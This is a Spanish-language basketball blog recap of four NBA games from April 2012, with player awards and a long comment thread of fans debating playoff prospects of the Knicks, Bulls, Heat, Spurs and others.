La Crónica: algo huele a podrido en Orlando

06 de April de 2012 por Viva_Dirk

svgdhCuatro partidos de lo más variopinto en la noche de ayer.

Los Knicks ganaron en Orlando (96-80)  pocas horas después de que se desatase la polémica cuando Stan Van Gundy reconoció que Dwight Howard ha pedido a la franquicia que lo despidan. Los Knicks contaron con las mejores versiones de JR Smith y Toney Douglas saliendo desde el banco, y remató la faena Tyson Chandler, quien dejó a Howard con casi tantas pérdidas como puntos. Ahí se acabaron los Magic, que además no contaban con Ryan Anderson.

En un duelo por todo lo bajo los Pistons ganaron en casa a los Wizars (94-99). Una buena actuación global llevó a los locales hasta un 53% en tiros de campo, incontestable para los Wizars, que tuvieron en Wall y Seraphin a sus mejores hombres. Por los Pistons el dúo Monroe-Maxiell sumó 29 puntos y 18 rebotes.

Los Bulls siguen apañándoselas sin Rose (que volverá el fin de semana) y ayer despacharon a los Celtics (86-93) en un encuentro de bajos porcentajes. Deng & Noah dieron la réplica a Pierce & Garnett y ambos equipos dejaron al descubierto sus cartas para lo que podría ser una apasionante eliminatoria de Playoffs.

Y para acabar la jornada, victoria de los Clippers en Sacramento (93-85) con Randy Foye nuevamente como máximo anotador. Si esto se convierte en algo habitual, los Clippers habrán encontrado un arma con la que no contaban. Griffin fue superado por Thompson y Paul tuvo un partido errático, pero Cousins apenas pudo jugar por las faltas y los secundarios de los Clippers salvaron los muebles.

kgdengPREMIOS

MVP: los Bulls siguen sin Rose pero mientras jugadores como Luol Deng y Joakim Noah respondan podrán paliar su ausencia. El británico se fue a los 26 puntos y 6 rebotes y el francés consiguió 17 puntos, 9 rebotes y 3 tapones.

Rookie: Isaiah Thomas, el base de los Kings, destaca un día más con sus 17 puntos, además de frenar dentro de lo humanamente posible a Chris Paul. No nos cansaremos de recordar que fue la última elección del draft del año pasado.

Sorpresa: en ausencia de Jeremy Lin y Mike Bibby, al defenestrado Toney Douglas le toca ejercer de base suplente. Anoche lo hizo a la perfección con 15 puntos, 5 rebotes y 6 asistencias.

Decepción: algo huele a podrido en Orlando. Mientras buscamos qué es, nos fijamos en los 8 puntos, 8 rebotes y 5 pérdidas en 40 minutos de Dwight Howard, lamentable actuación para un jugador de su calidad que no hace más que echar gasolina al incendio en que se han convertido los Magic.

Esfuerzo en vano: 28 puntos y 10 asistencia que vuelven a quedar sin recompensa. John Wall se está curtiendo de lo lindo en sus primeros años pero ¿no se cansará de tanto perder?

Top 5

Imágenes | AP Photos / Getty Images

Comenta

76 comentarios a esta entrada

  1. Ru dice:
    #1

    Una preguntita para los fans de los Knicks,¿qué balance llevan con Woodson por un lado y sin Stoudemire por otro?

      Citar

  2. Alfredo dice:
    #2

    Yo tengo una pregunta para Magic y demas seguidores Lakers: en que puesto terminaran?? Yo auguro que van a jugar con su clasificacion. Les quedan tres partidos contra los spurs. Si les va mal, se dejaran ir para no cruzarse con ellos enm una hipotetica semi. Pero quien le viene mejor, Spurs o Thunder??? Yo no les veo jugando a 120 puntos contra estos Spurs….

      Citar

  3. Cocinitas dice:
    #3

    Los Mavs han rescindido el contrato de Lamar Odom!!!

      Citar

  4. Cocinitas dice:
    #4

    No es una rescisión como tal, simplemente han llegado a un acuerdo para no volver a jugar para los Mavs, por lo cual no podrá jugar para otra franquicia esta temporada.

      Citar

  5. Ru dice:
    #5

    Supongo que los Mavs no quieren correr el riesgo de un buyout y que firme por un equipo aspirante,y que les de a esos lo que Odom no supo -o no quiso- dar en Dallas.Veremos que equipo lo acoge de nuevo porque con el precedente de esta temporada y en función del dinero que cobre es una apuesta arriesgada depositar tu confianza en un tio tan desequilibrado emocionalmente.

      Citar

  6. nba dice:
    #6

    Alfredo:
    Yo tengo una pregunta para Magic y demas seguidores Lakers: en que puesto terminaran?? Yo auguro que van a jugar con su clasificacion. Les quedan tres partidos contra los spurs. Si les va mal, se dejaran ir para no cruzarse con ellos enm una hipotetica semi. Pero quien le viene mejor, Spurs o Thunder??? Yo no les veo jugando a 120 puntos contra estos Spurs….

    Como aficionado Laker, yo creo que intentaran mantenerse en 3 puesto , a los thunder no los quiero ver excepto que sea en final de conferencia, en cambio estos Spurs son mas asequibles por el tipo de juego para los Lakers, que los Thunder, ya que si los Thunder entran accion como lo suelen hacer no veo a nadie del Oeste capaz de ganarles como visitantes, salvo Memphis, que estos junto con los Spurs , a mi juicio son los mas fuertes del Oeste

      Citar

  7. Jack77 dice:
    #7

    Shumpert el robo del draft este año. Dios mio que jugador, que defensa. Cada vez es un tirador más fiable de la línea de 3… Jugador para muchos años han encontrado los Knicks.

      Citar

  8. Alfredo dice:
    #8

    nba: Como aficionado Laker, yo creo que intentaran mantenerse en 3 puesto , a los thunder no los quiero ver excepto que sea en final de conferencia, en cambio estos Spurs son mas asequibles por el tipo de juego para los Lakers, que los Thunder, ya que si los Thunder entran accion como lo suelen hacer no veo a nadie del Oeste capaz de ganarles como visitantes, salvo Memphis, que estos junto con los Spurs , a mi juicio son los mas fuertes del Oeste

    Yo tambien soy Laker y si, prefiero a Spurs. Bynum y Pau en modo play off superan a los Blair Duncan Diaw Splitter. Y Con Sessions alguien pone freno a Oh la la Parker

      Citar

  9. Alfredo dice:
    #9

    Mal me ha salido lo de citar escribiendo con el movil jajajaja

      Citar

  10. fatmelorules dice:
    #10

    nba: Como aficionado Laker, yo creo que intentaran mantenerse en 3 puesto , a los thunder no los quiero ver excepto que sea en final de conferencia, en cambio estos Spurs son mas asequibles por el tipo de juego para los Lakers, que los Thunder, ya que si los Thunder entran accion como lo suelen hacer no veo a nadie del Oeste capaz de ganarles como visitantes, salvo Memphis, que estos junto con los Spurs , a mi juicio son los mas fuertes del Oeste

    Exacto, Los tres equipos mas temibles del este son los 2 primeros, OKC y SA, mas memphis que son mucho mas peligrosos de los que dice su clasificacion. En teoria los mas fuertes son los spurs no pq vayan primeros. Sino pq los anillos se gana con veterania, pintura, defensa, banquillo, juego en equipo. Los spurs tienen todo eso. Memphis no tiene tanta veterania, no tiene jugador franquicia (si 3 o 4 segundones) pero si mas banquillo y aun mas juego interior y mas juego colectivo. OKC tiene a durant que es muchisimo y a harden en el banquillo que es otro tanto pero, a pesar del fichaje de fisher siguen estando muy verdes y salvo harden el banquillo es cortito. Yo como tu, si tuviera que apostar lo haria tanto por SA como por lo ositos.

    En el este creo que ocurre algo similar. Solo veo con posibilidades reales a 3, bulls, miami y NY. De hecho, esto me parece aun mas claro que en el oeste pq es mucho peor conferencia. Miami me parece que el peor equipo. Creo que si se cruzan con NY saldran humillados sobretodo si wade no puede jugar. Demasiados problemas de juego interior y de banquillo , y dependencia de su big 3. Eso contra NY es insalvable pq melo es la bestia negra de ledoping james pq tiene fisico para pararlo y en cuanto a talento y competitividad no hay color. Ademas james es un pesimo cerrador de partidos, y melo es el mejor de la liga en ese aspecto. Si wade no puede jugar, eso es muchisima presion pq sabes que no puedes llegar al final de los partidos con marcador ajustado porque los pierdes. En teoria los bulls son los mejores. No obstante, rose ya ha demostrado en alguna ocasion que es bastante mejorable como cerrador de partidos. Lo ocurrido ayer, no es ninguna novedad. Eso contra melo puede penalizar. NY es el equipo en ascenso, quizas con mejor plantilla y con mejor jugador franquicia en cuanto a que es el mas fiable de cara al clutchtime. En teoria los bulls son los favoritos, pero nadie se deberia sorprender si hay buzzerbeater de los knicks. A melo se le podran criticar muchas cosas, pero su talento es induscutible y su capacidad cerrando partidos lo mismo. Ha olido los PO y esta demostrando lo que es. Creo que a los knicks se les esta menospreciando.

      Citar

  11. Cocinitas dice:
    #11

    fatmelorules: Exacto, Los tres equipos mas temibles del este son los 2 primeros, OKC y SA, mas memphis que son mucho mas peligrosos de los que dice su clasificacion. En teoria los mas fuertes son los spurs no pq vayan primeros. Sino pq los anillos se gana con veterania, pintura, defensa, banquillo,juego en equipo. Los spurs tienen todo eso.Memphis no tiene tanta veterania, no tiene jugador franquicia (si 3 o 4 segundones) pero si mas banquillo y aun mas juego interior y mas juego colectivo. OKC tiene a durant que es muchisimo y a harden en el banquillo que es otro tanto pero, a pesar del fichaje de fisher siguen estando muy verdes y salvo harden el banquillo es cortito. Yo como tu, si tuviera que apostar lo haria tanto por SA como por lo ositos.

    En el este creo que ocurre algo similar. Solo veo con posibilidades reales a 3, bulls, miami y NY. De hecho, esto me parece aun mas claro que en el oeste pq es mucho peor conferencia. Miami me parece que el peor equipo. Creo que si se cruzan con NY saldran humillados sobretodo si wade no puede jugar. Demasiados problemas de juego interior y de banquillo , y dependencia de su big 3. Eso contra NY es insalvable pq melo es la bestia negra de ledoping james pq tiene fisico para pararlo y en cuanto a talento y competitividad no hay color. Ademas james es un pesimo cerrador de partidos, y melo es el mejor de la liga en ese aspecto. Si wade no puede jugar, eso es muchisima presion pq sabes que no puedes llegar al final de los partidos con marcador ajustado porque los pierdes. En teoria los bulls son los mejores. No obstante, rose ya ha demostrado en alguna ocasion que es bastante mejorable como cerrador de partidos. Lo ocurrido ayer, no es ninguna novedad. Eso contra melo puede penalizar. NY es el equipo en ascenso, quizas con mejor plantilla y con mejor jugador franquicia en cuanto a que es el mas fiable de cara al clutchtime. En teoria los bulls son los favoritos, pero nadie se deberia sorprender si hay buzzerbeater de los knicks. A melo se le podran criticar muchas cosas, pero su talento es induscutible y su capacidad cerrando partidos lo mismo. Ha olido los PO y esta demostrando lo que es. Creo que a los knicks se les esta menospreciando.

    O-O anonadado me hallo

      Citar

  12. simon dice:
    #12

    fatmelorules: Exacto, Los tres equipos mas temibles del este son los 2 primeros, OKC y SA, mas memphis que son mucho mas peligrosos de los que dice su clasificacion. En teoria los mas fuertes son los spurs no pq vayan primeros. Sino pq los anillos se gana con veterania, pintura, defensa, banquillo, juego en equipo. Los spurs tienen todo eso. Memphis no tiene tanta veterania, no tiene jugador franquicia (si 3 o 4 segundones) pero si mas banquillo y aun mas juego interior y mas juego colectivo. OKC tiene a durant que es muchisimo y a harden en el banquillo que es otro tanto pero, a pesar del fichaje de fisher siguen estando muy verdes y salvo harden el banquillo es cortito. Yo como tu, si tuviera que apostar lo haria tanto por SA como por lo ositos.

    En el este creo que ocurre algo similar. Solo veo con posibilidades reales a 3, bulls, miami y NY. De hecho, esto me parece aun mas claro que en el oeste pq es mucho peor conferencia. Miami me parece que el peor equipo. Creo que si se cruzan con NY saldran humillados sobretodo si wade no puede jugar. Demasiados problemas de juego interior y de banquillo , y dependencia de su big 3. Eso contra NY es insalvable pq melo es la bestia negra de ledoping james pq tiene fisico para pararlo y en cuanto a talento y competitividad no hay color. Ademas james es un pesimo cerrador de partidos, y melo es el mejor de la liga en ese aspecto. Si wade no puede jugar, eso es muchisima presion pq sabes que no puedes llegar al final de los partidos con marcador ajustado porque los pierdes. En teoria los bulls son los mejores. No obstante, rose ya ha demostrado en alguna ocasion que es bastante mejorable como cerrador de partidos. Lo ocurrido ayer, no es ninguna novedad. Eso contra melo puede penalizar. NY es el equipo en ascenso, quizas con mejor plantilla y con mejor jugador franquicia en cuanto a que es el mas fiable de cara al clutchtime. En teoria los bulls son los favoritos, pero nadie se deberia sorprender si hay buzzerbeater de los knicks. A melo se le podran criticar muchas cosas, pero su talento es induscutible y su capacidad cerrando partidos lo mismo. Ha olido los PO y esta demostrando lo que es. Creo que a los knicks se les esta menospreciando.

    what the fuck…?

      Citar

  13. Nacho dice:
    #13

    fatmelorules: Exacto, Los tres equipos mas temibles del este son los 2 primeros, OKC y SA, mas memphis que son mucho mas peligrosos de los que dice su clasificacion. En teoria los mas fuertes son los spurs no pq vayan primeros. Sino pq los anillos se gana con veterania, pintura, defensa, banquillo, juego en equipo. Los spurs tienen todo eso. Memphis no tiene tanta veterania, no tiene jugador franquicia (si 3 o 4 segundones) pero si mas banquillo y aun mas juego interior y mas juego colectivo. OKC tiene a durant que es muchisimo y a harden en el banquillo que es otro tanto pero, a pesar del fichaje de fisher siguen estando muy verdes y salvo harden el banquillo es cortito. Yo como tu, si tuviera que apostar lo haria tanto por SA como por lo ositos.En el este creo que ocurre algo similar. Solo veo con posibilidades reales a 3, bulls, miami y NY. De hecho, esto me parece aun mas claro que en el oeste pq es mucho peor conferencia. Miami me parece que el peor equipo. Creo que si se cruzan con NY saldran humillados sobretodo si wade no puede jugar. Demasiados problemas de juego interior y de banquillo , y dependencia de su big 3. Eso contra NY es insalvable pq melo es la bestia negra de ledoping james pq tiene fisico para pararlo y en cuanto a talento y competitividad no hay color. Ademas james es un pesimo cerrador de partidos, y melo es el mejor de la liga en ese aspecto. Si wade no puede jugar, eso es muchisima presion pq sabes que no puedes llegar al final de los partidos con marcador ajustado porque los pierdes. En teoria los bulls son los mejores. No obstante, rose ya ha demostrado en alguna ocasion que es bastante mejorable como cerrador de partidos. Lo ocurrido ayer, no es ninguna novedad. Eso contra melo puede penalizar. NY es el equipo en ascenso, quizas con mejor plantilla y con mejor jugador franquicia en cuanto a que es el mas fiable de cara al clutchtime. En teoria los bulls son los favoritos, pero nadie se deberia sorprender si hay buzzerbeater de los knicks. A melo se le podran criticar muchas cosas, pero su talento es induscutible y su capacidad cerrando partidos lo mismo. Ha olido los PO y esta demostrando lo que es. Creo que a los knicks se les esta menospreciando.

    Creo que los PO, por el tipo de temporada, nos van a dar muchas sorpresas.
    En el Oeste podría coincidir contigo, pero vamos a añadir leña al debate.
    Yo tampoco veo a los Thunder tan claros favoritos, aunque es cierto que el partidos importantes se han mostrado a gran nivel. Los Grizzlies el año pasado casi los dejan en el camino, y si se cruzan este año veo a los de Memphis favoritos. En los de Oklahoma no entiendo que Ibaka juegue tan pocos minutos. Y aunque me dejan dudas Durant y compañía son tan buenos que pueden hacer cualquier cosa.
    Los Spurs son a priori el equipo a batir, como dices su profundidad de banquillo es una gran arma, pero tienen varias. Los de siempre y meto a Popovich aquí, y unos jóvenes con desparpajo. Pero lo del año pasado les puede pasar factura, y los cuatro de atrás del Oeste son para tomárselos en serio. Ahora mismo se enfrentarían a Dallas, que creo que es el rival soñado por ellos en primera ronda, porque Denver, Houston o Phoenix (menos éstos) los pueden meter en serios serios problemas.
    Llevan tiempo molándome los ositos, pero por ejemplo, en sus partidos contra Lakers me han decepcionado. Parece que por fin se ha acoplado Zach, tienen un pedazo de entrenador, porque conseguir día tras día que sus díscolos no intenten abrumar el Box Score tiene mérito. Hpy seis tío con dobles dígitos, y el que más puntos 16. Contra Los Clippers, eso dice mucho del equipo. Si tienen acierto en los finales igualados (porque tensión se les supone) son el rival a batir. Y aunque todos son importantes en el equipo, creo que la medida la dará Allen, su tensión defensiva y que no se le vaya la olla a la hora de tirar serán la vara para medir a los que son mi apuesta para el TÍTULO. (Vaya, creo que me he pasado)
    No olvidemos a los Lakers, y veremos como sirven estos días de descanso a Kobe. De momento han hecho una cosa importante, poner en primer plano a Pau (por cierto, otro taponazo en los minutos finales). Y eso es bueno para él (aunque pensemos que es fuerte, el sentirse el faro en estos dos partidos puede hacer que suba y mucho sus prestaciones en PO, eso sí la vuelta de Kobe no es en plan Juan Palomo) Los daría como favoritos, pero por no escuchar a Denise diciendo que han ganado porque han adulterado la competición, dejo ese Status a los de Memphis.
    Por otro lado, aunque lo he dicho antes, cuidado con los de atrás. Tanto Houston, como Denver, como Phoenix pueden amargar a más de uno. Y Dallas y Clippers no me transmiten ninguna vibración positiva. Apuesto a que no pasan de primera ronda, y veremos si los campeones llegan a PO. (Lo harán, pero raspando)
    Luego sigo con el Este.

      Citar

  14. Nacho dice:
    #14

    El Este, tras las palabras de fatmelorules.
    Creo que efectivamente es peor conferencia. Difícil incluso que los gallitos estuvieran en posiciones punteras en el Oeste. Les vale que a una serie y solo contra uno del Oeste, podrían ganar. Pero no veo que ningún equipo superara tres rondas del Oeste.
    Coincido contigo en que Miami es el peor de los tres que propones. No sé como va lo de Wade, pero si no está, quedan descartados a no ser que Bosh decida ser el jugador que muchos han dicho que es (y que ni por asomo ha sido nunca). Yo no tengo esperanzas en él, me cae muy mal, pero bastan mis sensaciones negativas para que me de un Zas en toda la boca. Lo dejo en Incógnita.
    Bulls no me dicen nada. Son capaces de perder un partido ellos solos como demostraron en NY., pero también son capaces de remontar 20 puntos y nadie sabe cómo, como también demostraron en la gran manzana. Hacen cosas y ganan partidos sin saber por qué (supongo que ellos lo sabrán, yo no), y eso en PO es sinónimo de muerte.
    NYN demasiado inconsistentes, jugadores que apuntan (Shumpert) pero ya está. Se enganchan a los partidos sino la cagan mucho los secundarios, y son legión allí. JR no puede tener tantos galones, y él se los arroga. Y no siempre va a estar Carmelo para salvarle la papeleta. Aunque comodije de Allen con los ositos, digo de Chandler con NY. Si son capaces de tener un poco de la actitud de este tipo, cierto, pueden ser los tapados del Este. Yo anteriormente los dejaba fuera, cierto que ha habido cambios en ellos, pero no había valorado lo suficiente el efecto Chandler. Carmelo se llevará todas las portadas por lo del domingo, pero los que vimos el partido desde la neutralidad y sin el concepto de jugador franquicia (es decir, europeos y Woody Allen) sabemos que ganaron gracias a él.
    Sin embargo te dejas dos candidatos. Y digo bien, CANDIDATOS. Boston, y tachán tachán (sí Denise, les doy opciones) MAGIC.
    Los verdes son viejos, pero muy buenos. Parece que lo de Bradley funciona. Rondo puede ser mortal en PO. Los viejos la saben meter, Doc es un pedazo entrenador. Les falla el banquillo. Pero cuidado que van de perdedores, y como a Pierce le de por hacer que se le doblado el tobillo y vaya y vuelva del vestuario… no digo más.
    Orlando: el turco lesionado (eso les resta, y mucho) pero no me fiaría yo de un equipo que parece roto por dentro. Algunos huelen la sangre (lástima lo de Turkoglu) y al bobo de Howard se le puede torcer la sonrisa para meter güevos. Si pasan fácil la primera que tiemble el resto. De Florida sale el finalista del Este. Digo.

      Citar

  15. rumbero dice:
    #15

    fatmelorules: Creo que si se cruzan con NY saldran humillados sobretodo si wade no puede jugar. Demasiados problemas de juego interior y de banquillo , y dependencia de su big 3. Eso contra NY es insalvable pq melo es la bestia negra de ledoping james pq tiene fisico para pararlo y en cuanto a talento y competitividad no hay color.

    Humillados? Melo la bestia negra de James? Yo eso quiero verlo. Estamos de acuerdo en que sin Wade pierden muchas opciones y que Melo sabe cerrar partidos, pero de ahi a que les pasen por encima los Knicks hay un abismo. Yo seguiría apostando mis dineros por Miami. Como dice Nacho, me siguen pareciendo demasiado inconsistentes estos Knicks por mucho que Carmelo se haya puesto las pilas. Lo que está claro es que es un cruce que todos queremos.

    Nacho:
    El Este, tras las palabras de fatmelorules.
    Los verdes son viejos, pero muy buenos. Parece que lo de Bradley funciona. Rondo puede ser mortal en PO. Los viejos la saben meter, Doc es un pedazo entrenador. Les falla el banquillo. Pero cuidado que van de perdedores, y como a Pierce le de por hacer que se le doblado el tobillo y vaya y vuelva del vestuario… no digo más.
    Orlando: el turco lesionado (eso les resta, y mucho) pero no me fiaría yo de un equipo que parece roto por dentro. Algunos huelen la sangre (lástima lo de Turkoglu) y al bobo de Howard se le puede torcer la sonrisa para meter güevos. Si pasan fácil la primera que tiemble el resto. De Florida sale el finalista del Este. Digo.

    El otro dia hacía la misma reflexión sobre los verdes con un amigo. Yo no los descartaría, nunca se puede hacer con ellos, pero eso si, Rondo en modo TV todos los partidos y que las piernas aguanten al resto.
    A Orlando los veo para casa en primera ronda la verdad.

      Citar

  16. melo15 dice:
    #16

    Tampoco apostaria tanto por New York, fatmelorules, soy el mayor fan de Melo, te lo puedo asegurar, pero no se le puede comparar con Lebron James, este le supera en todo menos en una cosa, Melo es mas completo en ataque que Lebron. Nacho, creo que te equivocas al considerar a los Magic como un aspirante, dependen demasiado de su tiro exterior, y eso es sinonimo de muerte, ademas tienen jugadores muy irregulares como Richardson, Reddick y ahora sin Turkoglu.

      Citar

  17. fatmelorules dice:
    #17

    Nacho: Creo que los PO, por el tipo de temporada, nos van a dar muchas sorpresas.
    En el Oeste podría coincidir contigo, pero vamos a añadir leña al debate.
    Yo tampoco veo a los Thunder tan claros favoritos, aunque es cierto que el partidos importantes se han mostrado a gran nivel. Los Grizzlies el año pasado casi los dejan en el camino, y si se cruzan este año veo a los de Memphis favoritos. En los de Oklahoma no entiendo que Ibaka juegue tan pocos minutos. Y aunque me dejan dudas Durant y compañía son tan buenos que pueden hacer cualquier cosa.
    Los Spurs son a priori el equipo a batir, como dices su profundidad de banquillo es una gran arma, pero tienen varias. Los de siempre y meto a Popovich aquí, y unos jóvenes con desparpajo. Pero lo del año pasado les puede pasar factura, y los cuatro de atrás del Oeste son para tomárselos en serio. Ahora mismo se enfrentarían a Dallas, que creo que es el rival soñado por ellos en primera ronda, porque Denver, Houston o Phoenix (menos éstos) los pueden meter en serios serios problemas.
    Llevan tiempo molándome los ositos, pero por ejemplo, en sus partidos contra Lakers me han decepcionado. Parece que por fin se ha acoplado Zach, tienen un pedazo de entrenador, porque conseguir día tras día que sus díscolos no intenten abrumar el Box Score tiene mérito. Hpy seis tío con dobles dígitos, y el que más puntos 16. Contra Los Clippers, eso dice mucho del equipo. Si tienen acierto en los finales igualados (porque tensión se les supone) son el rival a batir. Y aunque todos son importantes en el equipo, creo que la medida la dará Allen, su tensión defensiva y que no se le vaya la olla a la hora de tirar serán la vara para medir a los que son mi apuesta para el TÍTULO. (Vaya, creo que me he pasado)
    No olvidemos a los Lakers, y veremos como sirven estos días de descanso a Kobe. De momento han hecho una cosa importante, poner en primer plano a Pau (por cierto, otro taponazo en los minutos finales). Y eso es bueno para él (aunque pensemos que es fuerte, el sentirse el faro en estos dos partidos puede hacer que suba y mucho sus prestaciones en PO, eso sí la vuelta de Kobe no es en plan Juan Palomo) Los daría como favoritos, pero por no escuchar a Denise diciendo que han ganado porque han adulterado la competición, dejo ese Status a los de Memphis.
    Por otro lado, aunque lo he dicho antes, cuidado con los de atrás. Tanto Houston, como Denver, como Phoenix pueden amargar a más de uno. Y Dallas y Clippers no me transmiten ninguna vibración positiva. Apuesto a que no pasan de primera ronda, y veremos si los campeones llegan a PO. (Lo harán, pero raspando)
    Luego sigo con el Este.

    Es que hablamos del OESTE. Aqui no hay equipo malo, todos tienen su complicacion. De SA solo decirte que leonard me parece un jugadorazo con un gran futuro. Dudo que llegue a crack pero, si a magnifico jugador. Yo diria que lo del año pasado no es negativo para ellos pq son ganadores, buenos y con experiencia. Creo que les debe de servir de acicate.

    Dallas me causan muchas dudas. Al principio confiaba mucho en ellos pq tenian calidad y veterania. Tras el episodio odom les resto muchas posibilidades pq es señal de que alli hay algo podrido. Creo que pueden ser los grandes derrotados. No obstante, les puede servir de acicate y callarnos la boca a mucho

    LA tiene al kobe, gasol y bynum lo cual es demasiado. Ya no tienen a odom, pero con esos tres pueden crear serios problemas a cualquiera. Bynum me parece el mejor center de la liga siempre que las lesiones le respetan. Solo demarcus cousins me gusta mas y este es aun un melon por calar. Aun asi veo al equipo con demasiadas lagunas y por ello le doy menos posibilidades que a los otros.

    En lo de houston si estoy contigo. Son un gran equipo que puede dar un susto. El problema es que el oeste es demasiado complicado y tener factor cancha siempre en contra es muy negativo.

      Citar

  18. fatmelorules dice:
    #18

    Nacho:
    El Este, tras las palabras de fatmelorules.
    Creo que efectivamente es peor conferencia. Difícil incluso que los gallitos estuvieran en posiciones punteras en el Oeste. Les vale que a una serie y solo contra uno del Oeste, podrían ganar. Pero no veo que ningún equipo superara tres rondas del Oeste.
    Coincido contigo en que Miami es el peor de los tres que propones. No sé como va lo de Wade, pero si no está, quedan descartados a no ser que Bosh decida ser el jugador que muchos han dicho que es (y que ni por asomo ha sido nunca). Yo no tengo esperanzas en él, me cae muy mal, pero bastan mis sensaciones negativas para que me de un Zas en toda la boca. Lo dejo en Incógnita.
    Bulls no me dicen nada. Son capaces de perder un partido ellos solos como demostraron en NY., pero también son capaces de remontar 20 puntos y nadie sabe cómo, como también demostraron en la gran manzana. Hacen cosas y ganan partidos sin saber por qué (supongo que ellos lo sabrán, yo no), y eso en PO es sinónimo de muerte.
    NYN demasiado inconsistentes, jugadores que apuntan (Shumpert) pero ya está. Se enganchan a los partidos sino la cagan mucho los secundarios, y son legión allí. JR no puede tener tantos galones, y él se los arroga. Y no siempre va a estar Carmelo para salvarle la papeleta. Aunque comodije de Allen con los ositos, digo de Chandler con NY. Si son capaces de tener un poco de la actitud de este tipo, cierto, pueden ser los tapados del Este. Yo anteriormente los dejaba fuera, cierto que ha habido cambios en ellos, pero no había valorado lo suficiente el efecto Chandler. Carmelo se llevará todas las portadas por lo del domingo, pero los que vimos el partido desde la neutralidad y sin el concepto de jugador franquicia (es decir, europeos y Woody Allen) sabemos que ganaron gracias a él.
    Sin embargo te dejas dos candidatos. Y digo bien, CANDIDATOS. Boston, y tachán tachán (sí Denise, les doy opciones) MAGIC.
    Los verdes son viejos, pero muy buenos. Parece que lo de Bradley funciona. Rondo puede ser mortal en PO. Los viejos la saben meter, Doc es un pedazo entrenador. Les falla el banquillo. Pero cuidado que van de perdedores, y como a Pierce le de por hacer que se le doblado el tobillo y vaya y vuelva del vestuario… no digo más.
    Orlando: el turco lesionado (eso les resta, y mucho) pero no me fiaría yo de un equipo que parece roto por dentro. Algunos huelen la sangre (lástima lo de Turkoglu) y al bobo de Howard se le puede torcer la sonrisa para meter güevos. Si pasan fácil la primera que tiemble el resto. De Florida sale el finalista del Este. Digo.

    Lo de bulls, lo resumo en una plabra, perdedores. Les puede la presion. Si a eso le añades que su point guard y jugador franquicia es un combo guard, un shooter guard que juega de point guard por su estatura, queda en claro que la toma de decisiones del equipo nunca va a ser la mejor de las posibles por muy bueno que sea rose que lo es. Ademas es que me da la impresion de que es un perdedor nato. Esto es algo que no tengo tan constatado como con james. Pero, simplemente que haya fundamentos para sospecharlo no lo deja en buen lugar.

    Lo de wade interpreto que es que lo estan cuidando de cara a PO para que llegue en perfecto estado porque para la post-temporada miami necesita a su jugador franquicia. A mi bosh si que me parece buen jugador aunque, lejos de lo que fue por ej garnet o lejos de lo que es hoy kevin love. Lo que esta claro es que para miami es clave por la pobreza de su juego interior. Con turiaf han mejorado mucho, pero me sigue pareciendo un equipo pobre.

    NY tiene muchisimos defectos, pero no se debe olvidar que son un equipo en clara mejora. Y los aspectos psicologicos son muy importantes, y ellos estan con muchisima moral. En los de chandler completamente de acuerdo, un buen center es fundamental para poder hacer algo en PO. Yo considero que el jugador franquicia realmente para lo que esta es para el clutch time pq es donde tiene sentido que se la juegue tu recurso mas fiable o que se la ceda a otro pq lo vea mejor situado pero siempre el asumiendo la responsabilidad. Para llegar vivo al final de partido necesitas un buen equipo y en especial un buen juego interior. Por cierto parece que amare puede llegar al PO. Al menos a 2º ronda.

    Yo a boston no los doy por favoritos pq estan demasiado viejos y su banquillo no es el mejor. Aun asi tienes razon en que no se les puede dar por muertos. Nada mas que esa camiseta tan cargada de anillos da miedo. Sus abueletes son lo que son y hubiera sido de injusticia que se retiraran sin anillo. Y rondo es un jugadorazo pero, no los acabo de ver.

    Orlando si que no lo veo. Esta 3º en el este solo porque tiene al center mas dominante (en el oeste creo que no dominaria tanto) y algunos buenos tiradores. Pero PO creo que exige mas. Es cierto que yo a howard le tengo mania pq no es un jugador que destaque por sus grandes fundamentos. Ademas con su fisico me ocurre como con el de lebron, me causa aversion por lo antinatural que es. Eso hace que llegue a pensar que solo dominan por lo q dominan y q de fundamentos son incluso peores de lo q realmente son. Como equipo me parecen inconsistentes y su profundidad de banquillo no me parece la mejor.

      Citar

  19. fatmelorules dice:
    #19

    rumbero: Humillados? Melo la bestia negra de James? Yo eso quiero verlo. Estamos de acuerdo en que sin Wade pierden muchas opciones y que Melo sabe cerrar partidos, pero de ahi a que les pasen por encima los Knicks hay un abismo. Yo seguiría apostando mis dineros por Miami. Como dice Nacho, me siguen pareciendo demasiado inconsistentes estos Knicks por mucho que Carmelo se haya puesto las pilas. Lo que está claro es que es un cruce que todos queremos.

    El otro dia hacía la misma reflexión sobre los verdes con un amigo. Yo no los descartaría, nunca se puede hacer con ellos, pero eso si, Rondo en modo TV todos los partidos y que las piernas aguanten al resto.
    A Orlando los veo para casa en primera ronda la verdad.

    Melo le lleva ganando a james desde el instituto. Melo le suele ganar a james. No te digo que siempre porque tendria que mirar datos, pero si que es muy habitual. En PO los aspectos psicologicos son mucho mas importantes que en RS y lebron se caga. Ya ha demostrado en muchas ocasiones que es malo cerrando partidos que no puede con la presion y sabe que melo es el mejor en eso. Por tanto, sabe que si llega al clutch time tiene todas las papeletas de perder, que tiene que cerrar el partido antes y eso es presion añadida. Sin wade el equipo pierde mucho pq el no se caga. No sera tan bueno como melo cerrando, pero al menos no se caga. Ademas una hipotetica baja de wade obligaria a mas participacion del banquillo y en todo lo que sea banquillo miami pierde frente a NY. Por eso, veo que miami sin wade no tiene nada que hacer contra NY y con wade creo que lo tendrian muy complicado.

      Citar

  20. nba dice:
    #20

    Dios menudo peazo de comentarios, si parecen el relato del quijote, y yo que pensaba que habia que ser conciso

      Citar

  21. fatmelorules dice:
    #21

    melo15:
    Tampoco apostaria tanto por New York,fatmelorules, soy el mayor fan de Melo, te lo puedo asegurar, pero no se le puede comparar con Lebron James, este le supera en todo menos en una cosa, Melo esmas completo en ataque que Lebron. Nacho, creo que te equivocas al considerar a los Magic como un aspirante, dependen demasiado de su tiro exterior, y eso es sinonimo de muerte, ademas tienen jugadores muy irregulares como Richardson, Reddick y ahora sin Turkoglu.

    Melo tb le gana en cabeza y cuando digo cabeza me refiero a no cagarse a demostrar que es crack cuando hay que hacerlo. Lebron solo le gana en fisico y en regularidad. En fisico le gana por lo que le gana que es por lo que le gana a todos pq le gana a en eso hasta a jugadores que geneticamente son muy superiores al el como josh smith. Y en regularidad, solo te puedo decir que yo no quiero jugadores que le meten 80 puntos a los bobcats de turno y en los momentos de verdad se cagan. Me gustaria verlo en una franquicia del oeste como los denver a los que melo llevo a la final de conferencia. A ver que haria. Que lebron solo sabe lo que es jugar en la conferencia peste y tiene una fama de looser que echa para atras. Y bien ganada que la tiene

      Citar

  22. simon dice:
    #22

